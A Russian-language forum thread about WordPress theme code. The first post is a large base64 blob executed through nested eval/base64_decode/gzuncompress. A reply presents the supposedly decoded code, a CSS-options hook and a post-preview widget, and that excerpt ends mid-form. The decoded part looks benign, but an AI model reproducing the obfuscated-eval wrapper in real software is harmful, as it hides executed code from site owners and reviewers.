M1K/Uq5XzGauydrtcS0DFC/K1Gad+Zfdj7eTW/4Cy1JWZRE10H/AnY/tq4+U8a3jIJ+cWK6S2g8eiQHTedheqMWqvKyf1UaKBk8QDNgWXCfN0g7VDzeFGo2cRPTq3c0s7zTw2Pm
0dEjg5kX7pv5csDHRn8xJxZodBBakF8WQ6AbZb/JcZWtAz9H9wRY8jelptsszsBPRjhst+bwOCorKXG4D7uIxGY+IoHV4SMZquJxyKJlllNfpEI+Ov5lkcs
+AB2aagR1ncm42NhqzvjXjndpdPJd6WXXaC2bUA6VBXtBtQ2x5UEeAotD3bnsIb4fZSfWSjretYPvau6
m
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
S
VAIdG6HxGmnR09jgCcHF4WF15oqH8d9AHv+x10tmrl6isj0xwSdhvwDXboBL5N6wxDJ+zuw9Wp6bxYud
1
i0t02/3RbqTzUktBt0ysNHBhyPKotjxvuamvsnGwpI3Jt5Cmlh5lRs6KhQboOuulBLRWrOCRX7pYuPG3erlzmr
1HF5Jq4ez05uUaRCc/5HTfajLeV3xxYO3v9V2/g3Zy+noyHUsXRNUeUWl32PZ/CLli4qi1gFcEgleC30aNFYXjizK/geGjwE8ABhLOYJ8AjkEwf/Rtwc9qpDKq9HXMuw3TEeGp/9aMz5XNSLNhhfrZUUYpKClZqd3/uwFXyqHP0LnnpJw/BGWf6sUbUzM1+JkBFFvpSOthvr+KYxdgjb/1GOaYuA1y/7uTbnrqiKWtPbwQJtYauvNElocHSBBT6wlfCa8r900FjOX25r3uUwDTyem17RA3xGKzX9UKzPlTn3W4P
GZzX2tyJKAtO/pptRyMBXqPfDh0gLaIA1+G+LbqrOnStEwn5QCMP3w7EqZYpD9NcKcw5GQR3tw7P1uKeheaaIRj7I99km
UWOtcW4fny1LoC7xi+DJkEbVDVgF6qs+F0FqtdTMtF8/1Cyjs7V3W4q+U+GNkCeT1NdXN1Q7M6cKv+8rEY+oEUkMP68EDtgw6AnETkKi0eWUf0uE4B/c9PacMnMGzOaDGk3vKH2uuHl3UL2bkUsSk+8OJavp19RObO0GWCszO2iyvAwhJhn4/LfpPS0dFUrw0/LW0L4nc28mzXFqnrmHyUS4doqQIG6zW0Vx0szkg9hAl3a+YfDK9QAFifojpoY5+NYN5j6BssiWFHL4uW
HOP8jYlwWHKBq0ZpP02RhCPe3vHeIhRj3KrSP41qXnDLzZyIGRSd9E2muivW/eJ+ej8eBaQm1+NgKZ/sUI1mjpJp2rUR1O9nUzc9A4WiwGeZS7Czf3mZowqVjx6QLveMBuOXZMjy4FNChPzbSkSkippuVPImLmX
bngDT6K0P7NQOtgz6J/5/gFD+nMA6X56WQh0+P4rwlGBwOFN8DKROAy3/SDCv4iI7kVsJc0BL0KNMTnAnt03fKp2p0t8Kbg29JxYbBfz3+9HkqsM0YcaXlxaoOPiryg1swG3wm+HE
GsvbZWMPgzEBvb8SYHfofY4WfHs3IKETpiGzwchzUC1mTgE8gEPnRIQQ/rUi0s+rTNc1lJUYRNd5EtXDvEtjTwMxnrp+kk2bp+TcK+hxrxQa18d34/9Mn+smjJy8L0p6D6Kd+PRTEFzAqFbyNxMycW+FAbuN28W8wF6AyhpC+0HtvZT9KZAyX1S82Ob8UWxrkG/SAD+Otn7sgk44tdsD3LHftexJULdcwHDvtmlndQVntTAU47Cp7QVuA9IV5mdUqD3uIcfIZhm1EWhZv8N
k6fNiORZF4C4uyNF83YjE+Fs0z1nIxQnywayj9mf72I8Eijv6yC9zPke1mXyaMY+gQ48Q5+yMmo6cdyf
I
no33tF3NqhI4rPZzdIAmv57ugIulJZ9Vxt7XsPMQ4saB03iJNfvP27T1u33I8bcDJi0J4cH5qOvQ0sY5
s
5GOD7Jxb3O0qVy5k8nk2v2snMBSJ5PSHaRvobflaB3aTOAk2rWZtz8xcRyAsV6LealhK85UhLHOMpiTn
U
pQY8rYiYeV7LUxt8HtQPOsqTGm0bfFdUhz+WMHNZqXw3NniNUnppqDJwWzY97EnrYjMzaMCutHLGEYuv
7
3o+erUO3aa4A3u04JvhO1O8gCd8cjNvSOhf4IwY4mMEPTlS0FJp65Vb91cbSogHIoGzRDXoB+jQBepLR
V
l/wcJ2z5s5q+IXmcCnagJ2mz5fWcgHqvmNcnNnEuVC7HPz3KYeEsHH0M5iIC7Xz8E/+8ptn+l730M9vYM2ZrkN+c/s33RSEfjVJA1Gm5s5p0EyKUta3HiecTXnnrOOvV5NqfMC4bOakxDiY05tHkDO3GvuLyCqGusvW14eV2K
60I5exF2AQzsZOfKpErbfbPJu+iQDue3g97kF/9qlAJttmfwWFMgxwog4y/1stys2fb5dRHINvnBWaxYA30W9W83LmsatCzmiiymFmg6ejCVZZZNfzOUI+mWLEjgf+Wcz+zCd5bsavb
Uak5qX7bOYMBL069aN+6R1UFEx+1C4KmnZp3tyeanCHrWRfTu99zmfPE0n8pfahHSh7bDQerJJg5fSoq
P
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
w
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
o
C6sniI0/RA9jyA/SkfsqvD65iy3/j2j28DZb/wsxP5ZDOQG6vRQLolThAPuohONoQpEKoF6OFPBJzm+rPx9t7Dpex/aF3b4NPNgr4JiYAKIuVk7rZY5xGefDurWlYkAj+RUjrdlJTfvPQTjbFc4+7Jxwl2rUcqomUpNvilkCuV
yAHyeSKyCYv56tpM502pv5pkYEaQnMxo7tHx0EeSQqYvMvhbxz9ZED/AgEuJtqTv4b/BB4K+4Bi9adlxu7TCueM7tduhZaqk/0B2Ugt9lDnlV/2Y7op0Ykj6LdrvmfX+Z+Tcd7Sl8npDYPKlLzlL+tauoDywgl5Qn75Qd7XqAvC/2W1r+bCrqdYpQVlvWTcbqg5VyBC6ZC4uXXXi0idPXsnj47Ra+5aZfzL1a4I+83PR7Ar9RUUwh73Yq+HJ
Tbe7ZecApwKti/WUBiVo7eYDGBPL9KKqpv6sNmzM5ty40M6eONo613YY91HqI67FnRdyuufUY2tByWrFexDw+i9EuzLk7q
Ed/MtqHudW+aSD9emBviD8hballMG7Eyj2O5JOyvQ+bAv6ejF10fRXDcSs4Chjqj8B/RzMjCTiGwz7eK0aKjqGFR4/evCPMQjs3Oi11b3cI89aF+AJ2opP9bJ2dm1JuQ+2JRYyrLEwqDPzbjeqDhOb9AxHtrEW7mWfL6K7YnjZ
mfjBffI70UFnjLrf2ORv1t+kL3QmeFjaeztbqEIgl4BVaQ0Y0E/nm0fIiEHQi+HkVE/lNQX+zuB/aiRSt3e7ICLwcc5cE/jfhGP5Mn5KAWa2ZnQ50qxyovQ46KOvnxv71wrTeclRnKbAuxiXvBIogh1xaql1K9dTypAA/d2Ib8LZYPmigdsALWRtoDb66pjo096F/sfXzqiy5gxrzy5z1QKaENRs5gicf5IjfkOcWi+UE3sE728tEnP23RMtLDKkH+5Gd3dwttsRqBZapk6z5
xG/mXK0UvWgoZ1ijW+p+vdMIfo3LD4lAj8LkwkIcslCaOy0ZMM717AAPjsox3Z/zyQYWqd4nu7/Xm9+31OxPz9nmX+pp+W1dLpogOYG7gvqgPyhVf8o278h1llpQy9zlg0X6zef+I3XILynZM33f30Lnz3b
rfagR+uTgqQ09p7JeoFfJr4Dvp9w+6WYMzh2HiuZubYO/dZO+NkwImgIMC/7t+Kwu+6rQvgRfvzFwL4QSc67qUYQJxOfuDR7wyPj13Y36eHYer2ZCwMy9qwR6Sqo/imlfYnG9yeF4w5fPp7L2XNJ+FMXxf2Qp++bQX4BHNR7If2XEh8Yh+hSpDyU8+Hf71ZopJ+//5/ccCCFjCPxizsRoM/fNPL/285H4xPStoRBnNNzABzg4aJcTBE62ff7nfwGrvsW9";eval(base64_decode(gzuncompress(base64_decode($QB410F91A2586826B3D874CC5D5A76389))));?>


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
elvis81
elvis81
сообщение 15.7.2012, 23:39; Ответить: elvis81
Сообщение #27


А чего не понятного?
Вот он в раскодированном виде. Со всеми комментариями функций.

<?php
function head_init($head='') {
echo $head; ?>
<link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/buc/wg-settings.css" type="text/css" media="screen" />
<style  type="text/css">
.art-PostContent p img {width: 200px;}
.hslice div {text-align: center !important;}
.art-nav .l, .art-nav .r {background-image:none;}

.art-nav {
<?php if (get_option('sws_menu_width') != false ||
           get_option('sws_menu_top') != false ||
           get_option('sws_menu_left') != false ||
           get_option('sws_menu_right') != false )
{echo 'position: absolute !important;';}

  if (get_option('sws_menu_width') != false)
{echo 'width:'.get_option('sws_menu_width').'%;';}
else {echo 'width:100% !important;';}
  if (get_option('sws_menu_top') != false)
{echo 'top:'.get_option('sws_menu_top').'px !important;';}
  if (get_option('sws_menu_left') != false)
{echo 'left:'.get_option('sws_menu_left').'px !important;';}
  if (get_option('sws_menu_right') != false)
{echo 'right:'.get_option('sws_menu_right').'px !important;';} ?>
}

.art-Logo {
<?php if (get_option('sws_logo_width') != false )
{echo 'width:'.get_option('sws_logo_width').'% !important;';}
  if (get_option('sws_logo_left') != false)
{echo 'left:'.get_option('sws_logo_left').'px !important;';}
  if (get_option('sws_logo_top') != false)
{echo 'top:'.get_option('sws_logo_top').'px !important;';}
  if (get_option('sws_logo_border') == 1)
{echo ' border:1px solid red !important;';}  
?>

}
#name-text {
<?php if (get_option('sws_sitename_align') != false)
{echo ' text-align:'.get_option('sws_sitename_align').'px !important;';} ?>  
}

#name-text a {
<?php if (get_option('sws_sitename_size') != false)
{echo 'font-size:'.get_option('sws_sitename_size').'px !important;';}
  if (get_option('sws_sitename_color') != false)
{echo 'color:#'.get_option('sws_sitename_color').' !important;';} ?>
}
  
#slogan-text {
<?php if (get_option('sws_sitedescr_size') != false)
{echo 'font-size:'.get_option('sws_sitedescr_size').'px !important;';}
  if (get_option('sws_sitedescr_color') != false)
{echo 'color:#'.get_option('sws_sitedescr_color').' !important;';}
  if (get_option('sws_sitedescr_align') != false)
{echo 'text-align:'.get_option('sws_sitedescr_align').' !important;';} ?>  
}  
</style>
<?php
}
add_filter('wp_head', 'head_init');

/*открытие класса для наследования от WP_Widget*/
class Previu extends WP_Widget
{
       /*функция конструктор виджета необходима для его создания*/
       function Previu()
       {
        parent::WP_Widget(false, $name = 'Превью виджет');
       }
       /*функция вывода виджета*/

       function widget($args, $instance)
       {
        extract( $args );
        echo $before_widget;
    if ($instance['head_check']!=='2') {    
    echo $before_title;
    /*В название виджета если название не указано, ставим название выбранной категории*/
        if ($instance['head_check']=='1')
        {
             if (is_numeric($instance['cat_id']))
               {
               echo get_cat_name($instance['cat_id']);
               }
               else {echo ('Последние публикации'); }
        }
        else {echo $instance['box_head']; }
        echo $after_title; } else {}
        
        
             ?> <ul> <?php
        /*Определяем категорию и количество выводимых постов из нее*/
        $my_query = new WP_Query('cat='.$instance['cat_id'].'&showposts='.$instance['posts']);

            if ($my_query->have_posts()) :
            while ($my_query->have_posts()) : $my_query->the_post();
            
                $str_im = strstr (get_the_content (), 'src=');
                if ($str_im == FALSE)
                   { $img[1] = get_bloginfo('template_directory').'/buc/default-img.png';}
                  
                else {$img = explode ('"', $str_im); }
                
                $img_patch_html = $img[1];
                //Определяем точный путь к картинке
                $img_full_patch = strstr($img[1], 'http://');
                if ($img_full_patch == false)
                     {$img_patch = $_SERVER['DOCUMENT_ROOT'] . $img[1];}
                else
                     {$img_patch = $_SERVER['DOCUMENT_ROOT'] .'/'. strstr ($img[1], 'wp-content');}

                //Определяем коэффициент пропорции ширины к высоте картинки
                list($width_fakt, $height_fakt, $type_fakt, $attr_fakt) = @getimagesize($img_patch);
                
                //Избегаем деления на ноль в случае если изображения по
                //указанному адресу не обнаружено (его фактические размеры = 0)
                if ($height_fakt == 0 || $width_fakt == 0) {}
                else {
                $coeff = $width_fakt/$height_fakt;
                $img_height = $instance['img_width'] / $coeff;
                }                    
                
                if ($img_height < $instance['img_height'])
                       {$img_height = $instance['img_height'];
                        $img_width = $instance['img_height'] * $coeff;
                        $margin_left = -(($img_width/2) - ($instance['img_width']/2));
                        $margin_top = 0;}
                else
                       {$img_width = $instance['img_width'];
                        $margin_top = -(($img_height/2) - ($instance['img_height']/2));
                        $margin_left = 0;}
                
                
                
                if ($instance['p_check'] + $instance['title_check'] == '2')
                {
                $div_cl='div1';
                $style = 'style="height:'.$instance['img_height'].'px; width:'.$instance['img_width'].'px; margin:4px;float:left"';
                }
                else
                {
                      if ($instance['img_check']  + $instance['p_check']=='2')
                      {$div_cl='div1';}
                      else {$div_cl='div1'; $style = 'style="min-height:'.$instance['img_height'].'px; margin:5px;"';}
                }
                if     ($instance['goriz_previu_check'] == 1)
                {
                     if ($instance['div_width'] < $instance['img_width'])
                     {$style = 'style="width:'.$instance['img_width'].'px; margin:14px;float:left"';}
                     else  
                     {$style = 'style="width:'.$instance['div_width'].'px; margin:14px;float:left"';}
                }


           ?>

            <li class="<?php echo ($div_cl); ?>" <?php echo ($style); ?>>
            
         <?php   if ($instance['title_nadimg_check']=='1'){
                        if ($instance['title_check']!=='1')  { ?>
                            <a class="" href="<?php echo the_permalink()?>">
                                 <?php echo the_title()?>
                                  </a><p></p> <?php  }
                         else {} ?>
                       <?php }
                 else { } ?>
            
              <?php   if ($instance['img_check']!=='1') {  ?>
              
              <div class="imgbox" style="
                    width:<?php echo ($instance['img_width']); ?>px;
                    height:<?php echo ($instance['img_height']); ?>px;">
              <a  href="<?php echo the_permalink()?>">
                    <img class=""
                    style="
                    width:<?php echo $img_width; ?>px;
                    height:<?php echo $img_height; ?>px;
                    top:<?php echo $margin_top; ?>px;
                    left:<?php echo $margin_left; ?>px;"
                    src="<?php  echo $img_patch_html; ?>" alt="<?php the_title(); ?>" />
               </a>
               </div>
              
               <?php } else { }
              
              if ($instance['prop_width_check'] == '1')
              { ?>  
              <div id="" style="clear: left; width:<?php echo $instance['img_width']; ?>px;" >
               <?php }
              
   if ($instance['title_nadimg_check']!=='1') {
                      if ($instance['title_check']!=='1')  { ?>
                            <a class="" href="<?php echo the_permalink()?>">
                                 <?php echo the_title()?>
                                  </a> <?php  }
                      else {}
                 }
         else { } ?>

                  <?php   if ($instance['p_check']!=='1'){
                                if ($instance['p_limit']== false) {
                                    $instance['p_limit'] = 0;}?>
                    <p>
                  <?php sws_the_content_limit($instance['p_limit'], "<br>[Читать полностью]"); ?>
                       </p> <?php } else {}
              if ($instance['prop_width_check'] == '1')
              { ?>  </div> <?php } ?>
              </li>
              
              <?php
              if ($instance['goriz_previu_check'] !== '1' ) { ?>
              <div style="clear: both;"></div> <?php } ?>



         <?php
        
          endwhile;
          
          endif;
         ?> </ul> <?php
       echo $after_widget;
        }

        /*функция абдейт для обновления данных плагина*/
         function update($new_instance, $old_instance)
         {
         return $new_instance;
         }


          /*функция форма - для создания панели управления виджетом*/
         function form($instance)
         {
          $cat_id = esc_attr($instance['cat_id']);?>
           <div>
           <div style="border:1px solid #000; margin-bottom:5px; padding:5px;">
          <h3> Основные опции:</h3>

           <?php $box_head = esc_attr($instance['box_head']);?>

           <label for="<?php echo $this->get_field_id('box_head'); ?>">
           <?php echo ('<b>Укажите заголовок виджета</b>: <br>'); ?>
                   <input  id="<?php echo $this->get_field_id('box_head'); ?>"
                          name="<?php echo $this->get_field_name('box_head'); ?>"
                          type="text" value="<?php echo $box_head; ?>" />
           </label>
            <br/>

            <?php $head_check = esc_attr($instance['head_check']);?>
           <label for="<?php echo $this->get_field_id('head_check'); ?>">
                   <input name="<?php echo $this->get_field_name('head_check'); ?>"
                          type="radio"
                          id = "input_head_check"
                          value="3" <?php if ($head_check == '3') {echo ('checked');} ?> />
                          Вывести указанный заголовок<br>
                    <input name="<?php echo $this->get_field_name('head_check'); ?>"
                          type="radio"
                          value="1" <?php if ($head_check == '1' || $head_check == false) {echo ('checked');} ?> />
                          Сделать заголовком имя рубрики<br>
                   <input name="<?php echo $this->get_field_name('head_check'); ?>"
                          type="radio"
                          value="2" <?php if ($head_check == '2') {echo ('checked');} ?>/>
                          Не выводить заголовок<br>
           </label>

            <br/>

           <label for="<?php echo $this->get_field_id('cat_id'); ?>">
           <?php echo ('<b>Укажите ID категории :</b> <br>'); ?>
                   <input  id="<?php echo $this->get_field_id('cat_id'); ?>"
                          name="<?php echo $this->get_field_name('cat_id'); ?>"
                          type="text" value="<?php echo $cat_id; ?>" />
           </label>
           <br/>
          <?php  $posts = esc_attr($instance['posts']);?>
           <label for="<?php echo $this->get_field_id('posts'); ?>">
           <?php echo ('<b>Укажите количество постов : </b><br>'); ?>
                   <input  id="<?php echo $this->get_field_id('posts'); ?>"
                          name="<?php echo $this->get_field_name('posts'); ?>"
                          type="text" value="<?php
                          if ($posts == false || $posts == '0') {
                          echo ('5');}
                          else { echo $posts; }?>" />
           </label>
            </div>
            <div style="border:1px solid #000; margin-bottom:5px; padding:5px;">
          <h3> Изменить общее отображение</h3>

               <?php $goriz_previu_check = esc_attr($instance['goriz_previu_check']);?>
           <label for="<?php echo $this->get_field_id('goriz_previu_check'); ?>">
                    <input id="<?php echo $this->get_field_id('goriz_previu_check'); ?>"
                          name="<?php echo $this->get_field_name('goriz_previu_check'); ?>"
                          type="checkbox"
                          value="1" <?php if ($goriz_previu_check == '1') {echo ('checked');} ?> />
                          Сделать список преврю горизонтальным<br>
           </label>
             <br/>
            

          <?php  $div_width = esc_attr($instance['div_width']);?>
